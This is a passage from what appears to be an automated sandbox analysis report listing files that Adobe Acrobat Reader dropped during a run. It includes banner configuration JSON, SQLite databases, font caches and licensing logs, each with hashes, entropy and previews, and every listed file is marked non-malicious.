Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290541245426571
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJf8dPeUkwRe9:YvXKXb0c/5GU8Ukee9
MD5:	7AF0EED1E53FE5E12EB395E72B61DD00
SHA1:	FBF8F48757C8727C0FEF50E0527CE748BE506AF4
SHA-256:	52CE25E4681EE487F584935C4E4F2E4C8E3C4F18D6A404DB295336B1AAEA7BD0
SHA-512:	6EBF4ECE72A76A74C919479EC1C675A36F18A77C7230D7AD1ACBB7A204AA9E2FB1C89C83D1B176D5CCB19DC9F2CC4AEB6B359DC5F3DA59CEDCDC8A465527F385
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.292942851717466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJfQ1rPeUkwRe9:YvXKXb0c/5GY16Ukee9
MD5:	D4D646AD2B002141E5E215A9E48625BD
SHA1:	D4CD816C5DC7DB4D3DC02805D366E4927C13E1BA
SHA-256:	785EB77C0444B684B2CAD532AF58BC3A9BF93E38608C9F2AA9D7F1D3F54A24DA
SHA-512:	CBE8DF1D776A2B33582CB49B40774F7DAF886CFD3559BB253B31F3C24E3DAEA1E0B8B5CB3D77024C7D93BBD97BADFCEE3F4BD165EF28CA5C315CB9046EE3AEFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29874728564938
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJfFldPeUkwRe9:YvXKXb0c/5Gz8Ukee9
MD5:	FB963B62DFAFF1B596E606FEA8A6DA89
SHA1:	F6E6DB14661380928C5BCD4C65645D58A5AB9AD2
SHA-256:	B3DB145563BB90250C086E8886D1626AE2B2816C7B1B2CA9D96AA6BF5837A255
SHA-512:	7DA4DC8E9920D35B97FC38CA2E3A3C935DD50E334B4F5D1D3679083D6D5FD2EBA5164D46B80CD82E2F3A5484F986B6766025799499C494AE64114461C532832B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.318736937575694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJfzdPeUkwRe9:YvXKXb0c/5Gb8Ukee9
MD5:	E8C50611FB31C705A311D3E1BF7C1C7B
SHA1:	E33087F405F63DB17ABDF0BB2F62AA8942C56025
SHA-256:	7CC4412D71E0DBE653EB94E99F512C3E2238523912FF9AF8D7E50D2FC82A2AA8
SHA-512:	CDE1D24F60769D84864A37A0F671AF15816A1928FB277D1C5E249956A521596E0E8D8FB6BF041A8102A64E7A327BAF512BF4427530C5B2497F1AABA5EECBFD79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2987616465815925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJfYdPeUkwRe9:YvXKXb0c/5Gg8Ukee9
MD5:	4C39DA7754BB1F92333135F2D99278B3
SHA1:	259DF4C162BAC590B6368938940C9FD2B547E06C
SHA-256:	D056A20B3ADACDD761F3F8EBD88A321B5C94A1DB2D121F407D342B50FB90E74C
SHA-512:	0BAD06B656B05C9ACD9B393B241458CF2EA91DEB7F6207AF9F5AB57478C28EC528856DEAB84FCF104B8C2B4B6B8DFC7C24C4EB3F4E25E519D41033EE0A08196F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.284790217407663
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJf+dPeUkwRe9:YvXKXb0c/5G28Ukee9
MD5:	5F782959B00E9C0C73AD448F502F48BF
SHA1:	B96A1469363577E305CA673315A2F74E35787C23
SHA-256:	A5A80FF9A02E0AE8B59008AF5AB736F97D3E1361314FE630A8C62ACC3CB0A4AE
SHA-512:	4C33BFEE7FA8D71AFA6412123F6C8D1FCD1D7CB95D3AA18FC8316ABD98A5ED460DBD4D0D8990BBE4D0580B7F4A37EF48B205DFC6B67857F6CA5F11D25572348C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2823172552755135
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJfbPtdPeUkwRe9:YvXKXb0c/5GDV8Ukee9
MD5:	61FAC049192A619A1783DEE005CA249A
SHA1:	CC670D283541652D82CC24BE7C40BCD3CF04175B
SHA-256:	DC95F4A2007A446ECBC1E91D8F527A48D755BBB28A7A40569C6F1B7A2D8F3D62
SHA-512:	8C8B5E62198068A403FB75A767F40BF525D4A86634D689B8B6E8A3AC07B119053A0EEE6ECFC4AC43639F40911A3C965FEDA0214F7727A0E9BDB9F1A346E10880
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.285031684838121
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJf21rPeUkwRe9:YvXKXb0c/5G+16Ukee9
MD5:	8151A5F15DF338866BDE75B545A965F3
SHA1:	2C6F5661DA0CB7A8CA926B28ED5F775C8C741C53
SHA-256:	CC462DD5C94DB3DAFCF703464CC30303BE63DCDF32C601613B84E58C6C399D55
SHA-512:	02F1D9D372487FFEFACF0D3924E5E467F491FB11490AE51125495D2EA6CDD9E76383930C73A078EF6A99DA7585DA4C9046C696C83B60FFE870DF6E7911452236
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667432933789372
Encrypted:	false
SSDEEP:	24:Yv6X1aamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSd:YvBBgkDMUJUAh8cvMd
MD5:	D06E69B8E5CFD093818AB5370B536B05
SHA1:	3BEA5C11B0BBBDC61127E6CA91455243DEF8ABAE
SHA-256:	208CFCF4CAE384BD62A64E5373C208ED2988D5F247235D8E314A4EF8C1A892DB
SHA-512:	9A8DCF945D4228D63359AF366E2A52A5A9A8921E2DE18EAFA3E7961A63799C4DB52B6B920D9653F02AE6209086AC61DC383E1513E3387796D68133B958FCAFD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.25953003976134
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJfshHHrPeUkwRe9:YvXKXb0c/5GUUUkee9
MD5:	C880F6E477F36652C9AF4338A7E09F8A
SHA1:	A94CD014B47CF4B1A0EDA4C929BBCBB2764904B4
SHA-256:	0E2E63D2AB3699BA1E737083FF02336849C6469CC678271AB98DC5551C19F406
SHA-512:	4E71F4B62D4C6E4970501E8A588F5CCFBBCFC7A7FCC22B39440C9443058EFFDE49F63A5B08ECBF545BF9F98AD2FD637E74D21B4620F31211BA7284AE289FE86B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.264610150284466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJTqgFCrPeUkwRe9:YvXKXb0c/5GTq16Ukee9
MD5:	8A7AADA33789DC7901F20EA7678E5597
SHA1:	0AA63F681D7F1E4781EBD31F189D8B600AF3659B
SHA-256:	4B597B21C3B50CB8E6CBA909E773D39D114BD8047B3E1E85A0E8B5106FA525F3
SHA-512:	1207D19876832F1AC3F065A8373EABC0C77C5325A77AD6A76AEB518EFFDA6D05FC52B87319C39429BB6A28C2D3F33E98F9E9AE874CAF298DD94A0AF65C42C65F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1255068635301
Encrypted:	false
SSDEEP:	24:Yh4ELaa4ay/9JAJn+0+jGeEAqkEmv7rAjAe4vj0SJWrHVheYb264P2LSJoC3xSMl:Y4DbyrAeOC/iPAPjZMdbZ9XGT+
MD5:	71920AA6B4E159730254E0092C6B6CE1
SHA1:	FBDA240B45DF7C35D5B1C650EC197C42624CCCA3
SHA-256:	776F8487D066D43050DD5C89F65BCEB7D327479D26D4EF8F9381C0E2BD651729
SHA-512:	968363DB29D43F7C07EB9C798A75BEAD5EBBEC8D71CCB2EF0D4986707DD9FDCAC99C1645585370A3C023CF06C8B9DF33BBF65A18E2E9C266E30F7F41D8034021
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4ba83dbec9f5c4be49fbe0847dcad452","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1737044403000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"dafe808ff7685642a5be32d12abad0b1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1737044403000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"cba214880888539985b90d65b760917e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1737044403000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"52e6c5be4e75c2a15056a75245b83201","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1737044403000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e81bef9a2b30c6d7f590ac3c96776bea","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1737044403000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"47d20b153692bf062da15c413f93f01c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1468914060415123
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs0oRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudci:TFl2GL7msjXc+XcGNFlRYIX2v3kC
MD5:	7B47BF9D2494284F96DE01385A5CDDF4
SHA1:	897AD2883918984E802BA2370B98015467DBC716
SHA-256:	C7282D5C2638745683357834CBBF95DCF8466284C2442C6240B3A95DFEC1D4DB
SHA-512:	062553BDDDFA489127CB9E5B0F553B2D74EDCABF1F9C24BFD71D8A80420772FEA6342B6B6C5707616F860A05E60CA99D7F8F59AAF666F077143F9045F0DB3C49
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5491506416647487
Encrypted:	false
SSDEEP:	24:7+tKoUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxJvqLxx/XYz:7MmXc+XcGNFlRYIX2vsvqVl2GL7ms+
MD5:	77C24A695B195233D0BD32F17C9B0F18
SHA1:	0DA227AC5BE357322AB22EFF8599EC44BDD5BF8A
SHA-256:	1FED8C891D49F7897540D314881E09CDAF7D519FFC9138B76A0D158300CFDD76
SHA-512:	A65348C9121D3D927E9E089C42AE37CC8CD5CBF381B34B80AC086FFB3F0A3A94634A8B88ED3275782B473DE01EAC9A7C3193707F331498D91FCBA7CD8D4A2277
Malicious:	false
Preview:	.... .c...... v ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgRQadZq9jzsX/irN9wfHKIBSsC+Yyu:6a6TZ44ADEOadZq9jzYKaKIBnK
MD5:	6C2B0848E526FCA1CFD25EF746DB15FF
SHA1:	AE9564C0F8BAD19A05B431DB00DDF52986C79632
SHA-256:	C2506795526A340927F6559CDA11EE934EA78B8C8E769808329365CEAAE50C68
SHA-512:	D44462080E07A85C443353B7188E24A66D3DAD04847ABAF6EC24DD1AC587FA363C3CB107F18C3DE17FE70C2A7693A31EF0CF5574E79544D4B884BB49808B9736
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIaa5c2.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.503482856767026
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8eebClEW:Qw946cPbiOxDlbYnuRKhsDW
MD5:	C28380AE343F973EAF126D64719E44F3
SHA1:	C137F99C38907F18A2997E4738085E78527E6863
SHA-256:	86B6A5AEC33D23458ECF0F23BC74B2D5892259C6468D87A42817805FAE331C2D
SHA-512:	ED56D44F25F6FD97E2164ABBFDE68EDB974CA799B44F6D78FF27FB04853E8FD46362107DB502215CA69D7EE576228891CC91F7EB2F01CAFAEC26B9D8F2CD498A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.6./.0.1./.2.0.2.5. . .1.1.:.2.0.:.0.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-16 11-19-57-093.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.353947245898372
Encrypted:	false
SSDEEP:	384:b4chMM1MCAQp8XRUBbb0DlBQIToc2dlUCJYU2O+4gws3oG48GotOEAxAhoenHHac:qC2
MD5:	82232611429FA9FA50E06ECC881A8EFB
SHA1:	5EFB3AA303D63DF5AFAF51E575A5316518B8820C
SHA-256:	223A14C347267BF0519CEB0ED3086AA9B07023367B9ADA7008CED91E05E8C136
SHA-512:	6183A0170D692310F3B6D2F415704BDB445CFD582EBDF77B1BDBC0EBD6A9CDAA6E8232649E3107551D1F89416F23575FC085A4267F26ADAEB70ECB6AC93131C7
Malicious:	false
Preview:	SessionID=e182c75f-63d5-4d4a-8d21-9ede2fe3bcaa.1737044397149 Timestamp=2025-01-16T11:19:57:149-0500 ThreadID=4032 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e182c75f-63d5-4d4a-8d21-9ede2fe3bcaa.1737044397149 Timestamp=2025-01-16T11:19:57:166-0500 ThreadID=4032 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e182c75f-63d5-4d4a-8d21-9ede2fe3bcaa.1737044397149 Timestamp=2025-01-16T11:19:57:166-0500 ThreadID=4032 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e182c75f-63d5-4d4a-8d21-9ede2fe3bcaa.1737044397149 Timestamp=2025-01-16T11:19:57:166-0500 ThreadID=4032 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e182c75f-63d5-4d4a-8d21-9ede2fe3bcaa.1737044397149 Timestamp=2025-01-16T11:19:57:166-0500 ThreadID=4032 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.412815257194771
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb1ScboI5fcbp:V3fOCIdJDep5c
MD5:	7F163B2300B86D3398556F9EF35888A6
SHA1:	7BBC6601742DBF399658B0D3C0CAA3C61088FCDC
SHA-256:	4A121BFB520FE6675E0258F2566A41DBCEF4CA52D0239C59A3F4445E2CEDDE78
SHA-512:	D087C77BD55D7101D0CD2B66E7F6DD84BC055F638AB50F0AF1DF9DCC5A49120155B5A944FF733B17F727C9665CF9BD3D5E86E3E69F8A003A6983FE93FD599FFE
Malicious:	false
